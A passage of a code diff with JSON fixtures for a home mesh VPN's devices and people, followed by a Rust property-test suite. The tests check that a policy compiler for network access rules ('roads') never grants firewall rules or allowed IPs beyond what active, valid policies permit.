{ "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"format": 1,
|
||||
"devices": [
|
||||
{ "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1", "allowed_ips": ["0.0.0.0/0"] },
|
||||
{ "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true,
|
||||
"routes": ["192.168.100.0/24"],
|
||||
"services": [
|
||||
{ "host": "photos.home.arpa", "ports": ["tcp/443"] },
|
||||
{ "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] }
|
||||
] },
|
||||
{ "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" },
|
||||
{ "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" },
|
||||
{ "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true },
|
||||
{ "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true },
|
||||
{ "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"format": 1,
|
||||
"people": [
|
||||
{ "id": "mark", "name": "Mark" },
|
||||
{ "id": "jana", "name": "Jana" },
|
||||
{ "id": "petr", "name": "Petr" },
|
||||
{ "id": "eva", "name": "Eva", "role": "admin" }
|
||||
],
|
||||
"groups": [
|
||||
{ "id": "household", "name": "Household", "members": ["mark", "jana"] }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,751 @@
|
||||
//! Mandatory test 3: least privilege, as a property test (proptest), designed after QA's plan
|
||||
//! (`Via/qa/02_roads_attacks.md` §10).
|
||||
//!
|
||||
//! - **Generators** draw small worlds so that collisions are frequent: 1–4 people, up to 2 groups, 2–7 devices,
|
||||
//! routes inside `10.0.0.0/22`, road subnets of /22 to /32 inside the same /22 (so nesting, adjacency and
|
||||
//! overlap are the normal case), `until` on the boundary (`now − 1 s`, `now`, `now + 1 s`), five port sets,
|
||||
//! 10% custom roads carrying `AllowedIPs = 0.0.0.0/0`, and 5% deliberately invalid roads.
|
||||
//! - The world comes from a byte string, so proptest's shrinking makes counterexamples smaller.
|
||||
//! - The **oracle** below shares no code with `roads`: it reads the generated world (not the parsed store),
|
||||
//! resolves people and groups itself, and compares networks with `u32` arithmetic.
|
||||
//!
|
||||
//! Properties: P-1 every receiving-side firewall rule, sampled at both ends and the middle of its network and
|
||||
//! of its ports, is allowed by an active road for the device whose address is the rule's source (so a client
|
||||
//! that widens its own allowed IPs gains nothing: only the receiving side is checked); every allowed IP on the
|
||||
//! sending side is exactly what a road names (no supernet, QA R-02); every firewall source sits on its own
|
||||
//! peer as a /32 (no spoofing, QA R-10); invalid and expired roads change no byte; removing a road or moving
|
||||
//! `now` forward never adds a rule (P-3, P-4); `explain` agrees with the firewall (P-7).
|
||||
|
||||
use jiff::{SignedDuration, Timestamp as Instant};
|
||||
use proptest::prelude::*;
|
||||
use roads::plan::{Direction, Dst};
|
||||
use roads::{DeviceKey, Store, compile};
|
||||
use std::collections::BTreeSet;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
|
||||
const NOW: &str = "2026-11-25T12:00:00Z";
|
||||
const BASE: u32 = 0x0A00_0000; // 10.0.0.0
|
||||
|
||||
static CASES: AtomicUsize = AtomicUsize::new(0);
|
||||
static P1_CASES: AtomicUsize = AtomicUsize::new(0);
|
||||
static P1_WITH_RULES: AtomicUsize = AtomicUsize::new(0);
|
||||
static P1_RULES: AtomicUsize = AtomicUsize::new(0);
|
||||
static P1_ALLOWED: AtomicUsize = AtomicUsize::new(0);
|
||||
|
||||
fn now() -> Instant {
|
||||
NOW.parse().unwrap()
|
||||
}
|
||||
|
||||
/// Draws choices from bytes; an exhausted source gives 0, the simplest choice.
|
||||
struct Src<'a> {
|
||||
b: &'a [u8],
|
||||
i: usize,
|
||||
}
|
||||
|
||||
impl Src<'_> {
|
||||
fn n(&mut self, n: usize) -> usize {
|
||||
let v = self.b.get(self.i).copied().unwrap_or(0) as usize;
|
||||
self.i += 1;
|
||||
v % n
|
||||
}
|
||||
fn pct(&mut self, p: usize) -> bool {
|
||||
self.n(100) < p
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
struct Dev {
|
||||
owner: Option<usize>,
|
||||
classic: bool,
|
||||
exit: bool,
|
||||
relay: bool,
|
||||
route: Option<(u32, u8)>,
|
||||
service: Option<Vec<(&'static str, u16, u16)>>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, PartialEq)]
|
||||
enum Subj {
|
||||
Person(usize),
|
||||
Group(usize),
|
||||
Device(usize),
|
||||
App,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, PartialEq)]
|
||||
enum Obj {
|
||||
Device(usize),
|
||||
Subnet(u32, u8),
|
||||
Service(usize),
|
||||
Exit(usize),
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, PartialEq)]
|
||||
enum Verb {
|
||||
Reach,
|
||||
Exits,
|
||||
Direct,
|
||||
Kill,
|
||||
Custom,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
struct R {
|
||||
subject: Subj,
|
||||
verb: Verb,
|
||||
object: Option<Obj>,
|
||||
/// Seconds from now.
|
||||
until: Option<i64>,
|
||||
ports: Option<Vec<(&'static str, u16, u16)>>,
|
||||
classic: Option<bool>,
|
||||
invalid: bool,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
struct World {
|
||||
people: usize,
|
||||
groups: Vec<Vec<usize>>,
|
||||
devs: Vec<Dev>,
|
||||
roads: Vec<R>,
|
||||
}
|
||||
|
||||
const PORT_SETS: [&[(&str, u16, u16)]; 4] = [
|
||||
&[("tcp", 443, 443)],
|
||||
&[("tcp", 22, 22), ("tcp", 443, 443)],
|
||||
&[("tcp", 1, 1024)],
|
||||
&[("tcp", 1, 65535)],
|
||||
];
|
||||
|
||||
fn world(bytes: &[u8]) -> World {
|
||||
let mut s = Src { b: bytes, i: 0 };
|
||||
let people = 1 + s.n(4);
|
||||
let groups = (0..s.n(3))
|
||||
.map(|_| (0..people).filter(|_| s.pct(50)).collect())
|
||||
.collect();
|
||||
let n_dev = 2 + s.n(6);
|
||||
let devs = (0..n_dev)
|
||||
.map(|i| Dev {
|
||||
owner: if s.pct(80) { Some(s.n(people)) } else { None },
|
||||
classic: s.pct(10),
|
||||
exit: s.pct(30),
|
||||
relay: s.pct(20),
|
||||
route: (i < 4 && s.pct(70)).then(|| (BASE + ((i as u32) << 8), 24)),
|
||||
service: s.pct(35).then(|| PORT_SETS[s.n(2)].to_vec()),
|
||||
})
|
||||
.collect::<Vec<_>>();
|
||||
let n_roads = 1 + s.n(12);
|
||||
let roads = (0..n_roads)
|
||||
.map(|_| {
|
||||
let verb = match s.n(20) {
|
||||
0..=10 => Verb::Reach,
|
||||
11..=13 => Verb::Exits,
|
||||
14 | 15 => Verb::Direct,
|
||||
16 | 17 => Verb::Kill,
|
||||
_ => Verb::Custom,
|
||||
};
|
||||
// Indices one past the end name things that do not exist.
|
||||
let subject = match (s.n(4), &verb) {
|
||||
(_, Verb::Custom) => Subj::Device(s.n(n_dev + 1)),
|
||||
(3, Verb::Direct) => Subj::App,
|
||||
(0, _) | (3, _) => Subj::Person(s.n(people + 1)),
|
||||
(1, _) => Subj::Group(s.n(3)),
|
||||
_ => Subj::Device(s.n(n_dev + 1)),
|
||||
};
|
||||
let object = match verb {
|
||||
Verb::Custom => None,
|
||||
Verb::Exits | Verb::Kill => Some(Obj::Exit(s.n(n_dev + 1))),
|
||||
Verb::Direct => Some(Obj::Subnet(
|
||||
if s.pct(50) { 0 } else { BASE },
|
||||
if s.pct(50) { 0 } else { 22 },
|
||||
)),
|
||||
Verb::Reach => Some(match s.n(3) {
|
||||
0 => Obj::Device(s.n(n_dev + 1)),
|
||||
1 => Obj::Service(s.n(n_dev + 1)),
|
||||
_ => {
|
||||
if s.pct(10) {
|
||||
Obj::Subnet(0x0A09_0000, 24) // routed by nobody
|
||||
} else {
|
||||
let len = 22 + s.n(11) as u8;
|
||||
let off = (s.n(256) as u32) << 2 | s.n(4) as u32;
|
||||
Obj::Subnet(BASE | (off & mask(len) & 0x3FF), len)
|
||||
}
|
||||
}
|
||||
}),
|
||||
};
|
||||
R {
|
||||
until: match s.n(6) {
|
||||
0 | 1 => None,
|
||||
2 => Some(-1),
|
||||
3 => Some(0),
|
||||
4 => Some(1),
|
||||
_ => Some(86_400),
|
||||
},
|
||||
ports: (verb == Verb::Reach && s.pct(50)).then(|| PORT_SETS[s.n(4)].to_vec()),
|
||||
classic: match s.n(3) {
|
||||
0 => None,
|
||||
1 => Some(true),
|
||||
_ => Some(false),
|
||||
},
|
||||
invalid: s.pct(5),
|
||||
subject,
|
||||
verb,
|
||||
object,
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
World {
|
||||
people,
|
||||
groups,
|
||||
devs,
|
||||
roads,
|
||||
}
|
||||
}
|
||||
|
||||
fn mask(len: u8) -> u32 {
|
||||
if len == 0 {
|
||||
0
|
||||
} else {
|
||||
u32::MAX << (32 - len as u32)
|
||||
}
|
||||
}
|
||||
|
||||
fn ip(v: u32) -> String {
|
||||
format!(
|
||||
"{}.{}.{}.{}",
|
||||
v >> 24,
|
||||
(v >> 16) & 255,
|
||||
(v >> 8) & 255,
|
||||
v & 255
|
||||
)
|
||||
}
|
||||
|
||||
fn dev_addr(i: usize) -> u32 {
|
||||
0x6460_0000 + 1 + i as u32 // 100.96.0.(i+1)
|
||||
}
|
||||
|
||||
fn dev_key(i: usize) -> String {
|
||||
DeviceKey::from_bytes(&[i as u8 + 1; 32])
|
||||
.as_str()
|
||||
.to_string()
|
||||
}
|
||||
|
||||
fn id_of(i: usize) -> String {
|
||||
format!("t{i:05}")
|
||||
}
|
||||
|
||||
fn ports_text(p: &[(&str, u16, u16)]) -> String {
|
||||
let items: Vec<String> = p
|
||||
.iter()
|
||||
.map(|(pr, lo, hi)| {
|
||||
if lo == hi {
|
||||
format!("{pr}/{lo}")
|
||||
} else {
|
||||
format!("{pr}/{lo}-{hi}")
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
format!("[{}]", items.join(", "))
|
||||
}
|
||||
|
||||
/// The world as store bytes, written here without the library's writer.
|
||||
fn to_store(w: &World, roads: &[(usize, &R)], when: Instant) -> Store {
|
||||
let people: Vec<String> = (0..w.people)
|
||||
.map(|p| format!(r#"{{"id":"p{p}","name":"P{p}"}}"#))
|
||||
.collect();
|
||||
let groups: Vec<String> = w
|
||||
.groups
|
||||
.iter()
|
||||
.enumerate()
|
||||
.map(|(g, m)| {
|
||||
let m: Vec<String> = m.iter().map(|p| format!("\"p{p}\"")).collect();
|
||||
format!(
|
||||
r#"{{"id":"g{g}","name":"G{g}","members":[{}]}}"#,
|
||||
m.join(",")
|
||||
)
|
||||
})
|
||||
.collect();
|
||||
let directory = format!(
|
||||
r#"{{"format":1,"people":[{}],"groups":[{}]}}"#,
|
||||
people.join(","),
|
||||
groups.join(",")
|
||||
);
|
||||
let devices: Vec<String> = w
|
||||
.devs
|
||||
.iter()
|
||||
.enumerate()
|
||||
.map(|(i, d)| {
|
||||
let owner = d.owner.map(|o| format!(r#","owner":"p{o}""#)).unwrap_or_default();
|
||||
let routes = d.route.map(|(n, l)| format!(r#","routes":["{}/{l}"]"#, ip(n))).unwrap_or_default();
|
||||
let services = d
|
||||
.service
|
||||
.as_ref()
|
||||
.map(|p| {
|
||||
let ports: Vec<String> = ports_text(p).trim_matches(['[', ']']).split(", ").map(|x| format!("\"{x}\"")).collect();
|
||||
format!(r#","services":[{{"host":"s{i}.test","ports":[{}]}}]"#, ports.join(","))
|
||||
})
|
||||
.unwrap_or_default();
|
||||
format!(
|
||||
r#"{{"key":"{}","name":"d{i}","address":"{}","classic":{},"exit":{},"relay":{}{owner}{routes}{services}}}"#,
|
||||
dev_key(i),
|
||||
ip(dev_addr(i)),
|
||||
d.classic,
|
||||
d.exit,
|
||||
d.relay
|
||||
)
|
||||
})
|
||||
.collect();
|
||||
let devices = format!(r#"{{"format":1,"devices":[{}]}}"#, devices.join(","));
|
||||
let files: Vec<(String, Vec<u8>)> = roads
|
||||
.iter()
|
||||
.map(|(i, r)| {
|
||||
let mut t = format!("---\nid: {}\n", id_of(*i));
|
||||
t += &match &r.subject {
|
||||
Subj::Person(p) => format!("subject: person:p{p}\n"),
|
||||
Subj::Group(g) => format!("subject: group:g{g}\n"),
|
||||
Subj::Device(d) => format!("subject: device:{}\n", dev_key(*d)),
|
||||
Subj::App => "subject: app:games\n".into(),
|
||||
};
|
||||
t += match r.verb {
|
||||
Verb::Reach => "verb: can-reach\n",
|
||||
Verb::Exits => "verb: exits-through\n",
|
||||
Verb::Direct => "verb: goes-direct\n",
|
||||
Verb::Kill => "verb: never-online-without\n",
|
||||
Verb::Custom => "verb: custom\n",
|
||||
};
|
||||
if let Some(o) = &r.object {
|
||||
t += &match o {
|
||||
Obj::Device(d) => format!("object: device:{}\n", dev_key(*d)),
|
||||
Obj::Exit(d) => format!("object: exit:{}\n", dev_key(*d)),
|
||||
Obj::Service(d) => format!("object: service:s{d}.test\n"),
|
||||
Obj::Subnet(n, l) => format!("object: subnet:{}/{l}\n", ip(*n)),
|
||||
};
|
||||
}
|
||||
if let Some(u) = r.until {
|
||||
let key = if r.invalid { "untill" } else { "until" };
|
||||
t += &format!("{key}: {}\n", (now() + SignedDuration::from_secs(u)));
|
||||
} else if r.invalid {
|
||||
t += "allowedIPs: [0.0.0.0/0]\n";
|
||||
}
|
||||
if let Some(p) = &r.ports {
|
||||
t += &format!("ports: {}\n", ports_text(p));
|
||||
}
|
||||
if let Some(c) = r.classic
|
||||
&& matches!(r.verb, Verb::Reach | Verb::Exits | Verb::Custom)
|
||||
{
|
||||
t += &format!("classic: {c}\n");
|
||||
}
|
||||
t += "created: 2026-11-01T00:00:00Z\n---\n";
|
||||
if r.verb == Verb::Custom {
|
||||
t += "```raw\n[Peer]\nPublicKey = AAAA\nAllowedIPs = 0.0.0.0/0, ::/0\n```\n";
|
||||
}
|
||||
(format!("{}-r.md", id_of(*i)), t.into_bytes())
|
||||
})
|
||||
.collect();
|
||||
let _ = when;
|
||||
Store::from_parts(&files, Some(directory.as_bytes()), Some(devices.as_bytes()))
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ the oracle (no roads code)
|
||||
|
||||
fn subj_devs(w: &World, s: &Subj) -> BTreeSet<usize> {
|
||||
(0..w.devs.len())
|
||||
.filter(|&d| match s {
|
||||
Subj::Person(p) => w.devs[d].owner == Some(*p),
|
||||
Subj::Group(g) => w
|
||||
.groups
|
||||
.get(*g)
|
||||
.is_some_and(|m| w.devs[d].owner.is_some_and(|o| m.contains(&o))),
|
||||
Subj::Device(x) => *x == d,
|
||||
Subj::App => true,
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// An upper bound on the roads that can grant: not deliberately invalid, not expired at `at` (seconds from
|
||||
/// NOW). The compiler may refuse more (classic, unknown references); it may never grant more.
|
||||
fn live(r: &R, at: i64) -> bool {
|
||||
!r.invalid && r.until.is_none_or(|u| at < u)
|
||||
}
|
||||
|
||||
fn in_prefix(addr: u32, net: u32, len: u8) -> bool {
|
||||
addr & mask(len) == net & mask(len)
|
||||
}
|
||||
|
||||
fn ports_allow(p: &Option<Vec<(&str, u16, u16)>>, proto: &str, port: u16) -> bool {
|
||||
p.as_ref().is_none_or(|ps| {
|
||||
ps.iter()
|
||||
.any(|(pr, lo, hi)| *pr == proto && *lo <= port && port <= *hi)
|
||||
})
|
||||
}
|
||||
|
||||
/// May device `d` open a connection to `addr` on `proto/port`, by some live can-reach road?
|
||||
fn may_reach(w: &World, at: i64, d: usize, addr: u32, proto: &str, port: u16) -> bool {
|
||||
w.roads
|
||||
.iter()
|
||||
.filter(|r| live(r, at) && r.verb == Verb::Reach && subj_devs(w, &r.subject).contains(&d))
|
||||
.any(|r| match r.object.as_ref().unwrap() {
|
||||
Obj::Device(x) => {
|
||||
*x < w.devs.len() && addr == dev_addr(*x) && ports_allow(&r.ports, proto, port)
|
||||
}
|
||||
Obj::Service(x) => {
|
||||
*x < w.devs.len()
|
||||
&& w.devs[*x].service.is_some()
|
||||
&& addr == dev_addr(*x)
|
||||
&& ports_allow(&r.ports.clone().or(w.devs[*x].service.clone()), proto, port)
|
||||
}
|
||||
Obj::Subnet(n, l) => in_prefix(addr, *n, *l) && ports_allow(&r.ports, proto, port),
|
||||
Obj::Exit(_) => false,
|
||||
})
|
||||
}
|
||||
|
||||
fn may_exit(w: &World, at: i64, d: usize, exit: usize) -> bool {
|
||||
w.roads.iter().any(|r| {
|
||||
live(r, at)
|
||||
&& r.verb == Verb::Exits
|
||||
&& r.object == Some(Obj::Exit(exit))
|
||||
&& subj_devs(w, &r.subject).contains(&d)
|
||||
})
|
||||
}
|
||||
|
||||
fn parse_net(s: &str) -> Option<(u32, u8)> {
|
||||
let (a, l) = s.split_once('/')?;
|
||||
let o: Vec<u32> = a
|
||||
.split('.')
|
||||
.map(|x| x.parse().ok())
|
||||
.collect::<Option<_>>()?;
|
||||
(o.len() == 4).then(|| {
|
||||
(
|
||||
o[0] << 24 | o[1] << 16 | o[2] << 8 | o[3],
|
||||
l.parse().unwrap(),
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
fn dev_of_addr(w: &World, a: u32) -> Option<usize> {
|
||||
(0..w.devs.len()).find(|&i| dev_addr(i) == a)
|
||||
}
|
||||
|
||||
fn dev_of_key(w: &World, k: &DeviceKey) -> usize {
|
||||
(0..w.devs.len())
|
||||
.find(|&i| dev_key(i) == k.as_str())
|
||||
.expect("a plan for a known device")
|
||||
}
|
||||
|
||||
/// Every rule of every plan, without its road list: what P-3 and P-4 compare.
|
||||
fn rule_set(c: &roads::Compiled) -> BTreeSet<String> {
|
||||
c.plans
|
||||
.values()
|
||||
.flat_map(|p| {
|
||||
p.firewall
|
||||
.rules
|
||||
.iter()
|
||||
.filter(|r| r.dst != Dst::Internet)
|
||||
.map(move |r| {
|
||||
format!(
|
||||
"{} {:?} {} {:?} {:?} {:?}",
|
||||
p.name, r.direction, r.src, r.dst, r.proto, r.ports
|
||||
)
|
||||
})
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn check_p1(w: &World, c: &roads::Compiled) -> Result<(), TestCaseError> {
|
||||
for plan in c.plans.values() {
|
||||
let h = dev_of_key(w, &plan.device);
|
||||
for rule in &plan.firewall.rules {
|
||||
let (src, slen) = parse_net(&rule.src.to_string()).unwrap();
|
||||
prop_assert_eq!(
|
||||
slen,
|
||||
32,
|
||||
"a firewall source wider than one device: {:?}",
|
||||
rule
|
||||
);
|
||||
let d = dev_of_addr(w, src);
|
||||
prop_assert!(
|
||||
d.is_some(),
|
||||
"a firewall source that is no device: {:?}",
|
||||
rule
|
||||
);
|
||||
let d = d.unwrap();
|
||||
// R-10: that source is on its own peer, as exactly its /32, so no other peer can send from it.
|
||||
let own = plan.peers.iter().find(|p| p.address.to_string() == ip(src));
|
||||
prop_assert!(
|
||||
own.is_some_and(|p| p
|
||||
.allowed_ips
|
||||
.iter()
|
||||
.any(|n| n.to_string() == format!("{}/32", ip(src)))),
|
||||
"{}: source {} has no peer of its own",
|
||||
plan.name,
|
||||
ip(src)
|
||||
);
|
||||
match rule.dst {
|
||||
Dst::Internet => {
|
||||
prop_assert!(
|
||||
w.devs[h].exit,
|
||||
"{} forwards to the internet but is no exit",
|
||||
plan.name
|
||||
);
|
||||
prop_assert!(
|
||||
may_exit(w, 0, d, h),
|
||||
"{}: d{d} exits through it without a road",
|
||||
plan.name
|
||||
);
|
||||
}
|
||||
Dst::Net(n) => {
|
||||
let (net, len) = parse_net(&n.to_string()).unwrap();
|
||||
match rule.direction {
|
||||
Direction::In => prop_assert!(
|
||||
net == dev_addr(h) && len == 32,
|
||||
"an in rule not to the device itself"
|
||||
),
|
||||
Direction::Forward => {
|
||||
let routed = w.devs[h]
|
||||
.route
|
||||
.is_some_and(|(rn, rl)| len >= rl && in_prefix(net, rn, rl));
|
||||
prop_assert!(
|
||||
routed,
|
||||
"{} forwards to {n}, which it does not route",
|
||||
plan.name
|
||||
);
|
||||
}
|
||||
}
|
||||
let last = net | !mask(len);
|
||||
let samples = [net, last, net + (last - net) / 2];
|
||||
let ports: Vec<(&str, u16)> = match (rule.proto, rule.ports) {
|
||||
(roads::ports::Proto::Any, _) => vec![
|
||||
("tcp", 1),
|
||||
("tcp", 443),
|
||||
("tcp", 65535),
|
||||
("udp", 53),
|
||||
("icmp", 0),
|
||||
],
|
||||
(p, Some([lo, hi])) => {
|
||||
let p = if p == roads::ports::Proto::Udp {
|
||||
"udp"
|
||||
} else {
|
||||
"tcp"
|
||||
};
|
||||
vec![(p, lo), (p, hi), (p, lo + (hi - lo) / 2)]
|
||||
}
|
||||
(p, None) => {
|
||||
let p = match p {
|
||||
roads::ports::Proto::Udp => "udp",
|
||||
roads::ports::Proto::Icmp => "icmp",
|
||||
_ => "tcp",
|
||||
};
|
||||
vec![(p, 1), (p, 65535)]
|
||||
}
|
||||
};
|
||||
for a in samples {
|
||||
for (proto, port) in &ports {
|
||||
prop_assert!(
|
||||
may_reach(w, 0, d, a, proto, *port),
|
||||
"{}: rule {:?} lets d{d} reach {}:{proto}/{port}, which no live road allows",
|
||||
plan.name,
|
||||
rule,
|
||||
ip(a)
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// Sending side: every allowed IP is exactly what a live road names (no supernet, QA R-02).
|
||||
let me = h;
|
||||
for peer in &plan.peers {
|
||||
let p = dev_of_key(w, &peer.key);
|
||||
for n in &peer.allowed_ips {
|
||||
let text = n.to_string();
|
||||
if text == "0.0.0.0/0" || text == "::/0" {
|
||||
prop_assert!(
|
||||
w.devs[p].exit && may_exit(w, 0, me, p),
|
||||
"{}: a default route to d{p} without a road",
|
||||
plan.name
|
||||
);
|
||||
continue;
|
||||
}
|
||||
let (net, len) = parse_net(&text).unwrap();
|
||||
if len == 32 && net == dev_addr(p) {
|
||||
let related = w.roads.iter().any(|r| {
|
||||
live(r, 0) && {
|
||||
let s = subj_devs(w, &r.subject);
|
||||
let host = match &r.object {
|
||||
Some(Obj::Device(x))
|
||||
| Some(Obj::Service(x))
|
||||
| Some(Obj::Exit(x)) => Some(*x),
|
||||
Some(Obj::Subnet(sn, sl)) => (0..w.devs.len()).find(|&i| {
|
||||
w.devs[i]
|
||||
.route
|
||||
.is_some_and(|(rn, rl)| *sl >= rl && in_prefix(*sn, rn, rl))
|
||||
}),
|
||||
None => None,
|
||||
};
|
||||
(s.contains(&me) && host == Some(p))
|
||||
|| (s.contains(&p) && host == Some(me))
|
||||
}
|
||||
});
|
||||
prop_assert!(
|
||||
related,
|
||||
"{}: peer d{p} with no road between them",
|
||||
plan.name
|
||||
);
|
||||
continue;
|
||||
}
|
||||
let named = w.roads.iter().any(|r| {
|
||||
live(r, 0)
|
||||
&& r.verb == Verb::Reach
|
||||
&& r.object == Some(Obj::Subnet(net, len))
|
||||
&& subj_devs(w, &r.subject).contains(&me)
|
||||
});
|
||||
prop_assert!(
|
||||
named,
|
||||
"{}: allowed IP {text} on d{p} that no road names exactly",
|
||||
plan.name
|
||||
);
|
||||
prop_assert!(
|
||||
w.devs[p]
|
||||
.route
|
||||
.is_some_and(|(rn, rl)| len >= rl && in_prefix(net, rn, rl)),
|
||||
"{text} on a peer that does not route it"
|
||||
);
|
||||
}
|
||||
}
|
||||
// Custom raw blocks never become peers (QA R-40): checked above, since no road names 0.0.0.0/0 for them.
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
proptest! {
|
||||
#![proptest_config(ProptestConfig { cases: 5_000, max_shrink_iters: 10_000, failure_persistence: None, .. ProptestConfig::default() })]
|
||||
|
||||
#[test]
|
||||
fn p1_no_plan_grants_what_no_road_grants(bytes in proptest::collection::vec(any::<u8>(), 64..400)) {
|
||||
CASES.fetch_add(1, Ordering::Relaxed);
|
||||
let w = world(&bytes);
|
||||
let all: Vec<(usize, &R)> = w.roads.iter().enumerate().collect();
|
||||
let store = to_store(&w, &all, now());
|
||||
let c = compile(&store, now());
|
||||
prop_assert!(c.has_plans(), "the generated snapshots are valid: {:?}", c.problems.iter().filter(|p| !p.path.starts_with("roads/")).collect::<Vec<_>>());
|
||||
check_p1(&w, &c)?;
|
||||
let rules: usize = c.plans.values().map(|p| p.firewall.rules.len()).sum();
|
||||
let allowed: usize = c.plans.values().map(|p| p.allowed_ips().count()).sum();
|
||||
P1_RULES.fetch_add(rules, Ordering::Relaxed);
|
||||
P1_ALLOWED.fetch_add(allowed, Ordering::Relaxed);
|
||||
if rules > 0 { P1_WITH_RULES.fetch_add(1, Ordering::Relaxed); }
|
||||
let n = P1_CASES.fetch_add(1, Ordering::Relaxed) + 1;
|
||||
if n.is_multiple_of(5_000) {
|
||||
eprintln!("p1: {n} cases, {} with at least one firewall rule, {} rules and {} allowed IPs checked against the oracle",
|
||||
P1_WITH_RULES.load(Ordering::Relaxed), P1_RULES.load(Ordering::Relaxed), P1_ALLOWED.load(Ordering::Relaxed));
|
||||
}
|
||||
|
||||
// P-7: explain agrees with the receiving side's firewall, device by device.
|
||||
let devs = store.devices.as_ref().unwrap();
|
||||
for a in 0..w.devs.len() {
|
||||
for b in 0..w.devs.len() {
|
||||
if a == b { continue; }
|
||||
let ka = DeviceKey::new(&dev_key(a)).unwrap();
|
||||
let kb = DeviceKey::new(&dev_key(b)).unwrap();
|
||||
let why = roads::explain(&c, devs, &ka, &roads::Place::Device(kb.clone()));
|
||||
let fw = c.plans[&kb].firewall.rules.iter().any(|r| r.direction == Direction::In && r.src.to_string() == format!("{}/32", ip(dev_addr(a))));
|
||||
prop_assert_eq!(!why.is_empty(), fw, "explain d{} -> d{} says {:?}", a, b, why);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
proptest! {
|
||||
#![proptest_config(ProptestConfig { cases: 500, failure_persistence: None, .. ProptestConfig::default() })]
|
||||
|
||||
#[test]
|
||||
fn invalid_and_expired_roads_change_no_byte(bytes in proptest::collection::vec(any::<u8>(), 64..400), pick in any::<prop::sample::Index>(), expired in any::<bool>()) {
|
||||
CASES.fetch_add(1, Ordering::Relaxed);
|
||||
let w = world(&bytes);
|
||||
let all: Vec<(usize, &R)> = w.roads.iter().enumerate().collect();
|
||||
let base = compile(&to_store(&w, &all, now()), now());
|
||||
// Copy one road, then make the copy invalid or expired, under a fresh id.
|
||||
let mut extra = w.roads.get(pick.index(w.roads.len().max(1))).cloned().unwrap_or(R {
|
||||
subject: Subj::Person(0), verb: Verb::Reach, object: Some(Obj::Subnet(BASE, 22)), until: None, ports: None, classic: None, invalid: false,
|
||||
});
|
||||
if expired { extra.until = Some(if extra.until == Some(0) { -5 } else { 0 }); extra.invalid = false; } else { extra.invalid = true; }
|
||||
let mut with: Vec<(usize, &R)> = all.clone();
|
||||
with.push((99_999, &extra));
|
||||
let c = compile(&to_store(&w, &with, now()), now());
|
||||
for (k, p) in &base.plans {
|
||||
prop_assert_eq!(p.to_json(), c.plans[k].to_json(), "an {} road changed {}", if expired { "expired" } else { "invalid" }, p.name);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn removing_a_road_or_waiting_never_adds_a_rule(bytes in proptest::collection::vec(any::<u8>(), 64..400), pick in any::<prop::sample::Index>()) {
|
||||
CASES.fetch_add(1, Ordering::Relaxed);
|
||||
let w = world(&bytes);
|
||||
let all: Vec<(usize, &R)> = w.roads.iter().enumerate().collect();
|
||||
let store = to_store(&w, &all, now());
|
||||
let full = rule_set(&compile(&store, now()));
|
||||
// P-4: later is never wider (exit rules excluded: resolving an exit conflict is allowed to add one).
|
||||
for later in [1, 2, 86_401] {
|
||||
let l = rule_set(&compile(&store, now() + SignedDuration::from_secs(later)));
|
||||
prop_assert!(l.is_subset(&full), "waiting {}s added {:?}", later, l.difference(&full).collect::<Vec<_>>());
|
||||
}
|
||||
// P-3: one road fewer is never wider.
|
||||
if !w.roads.is_empty() {
|
||||
let drop = pick.index(w.roads.len());
|
||||
let fewer: Vec<(usize, &R)> = all.iter().copied().filter(|(i, _)| *i != drop).collect();
|
||||
let f = rule_set(&compile(&to_store(&w, &fewer, now()), now()));
|
||||
prop_assert!(f.is_subset(&full), "removing road {} added {:?}", drop, f.difference(&full).collect::<Vec<_>>());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn zz_report_case_count() {
|
||||
// Runs in the same binary; the count is only complete when the properties ran first, so it is printed,
|
||||
// not asserted.
|
||||
eprintln!(
|
||||
"least_privilege: {} property cases so far in this process",
|
||||
CASES.load(Ordering::Relaxed)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_oracle_catches_a_wider_rule() {
|
||||
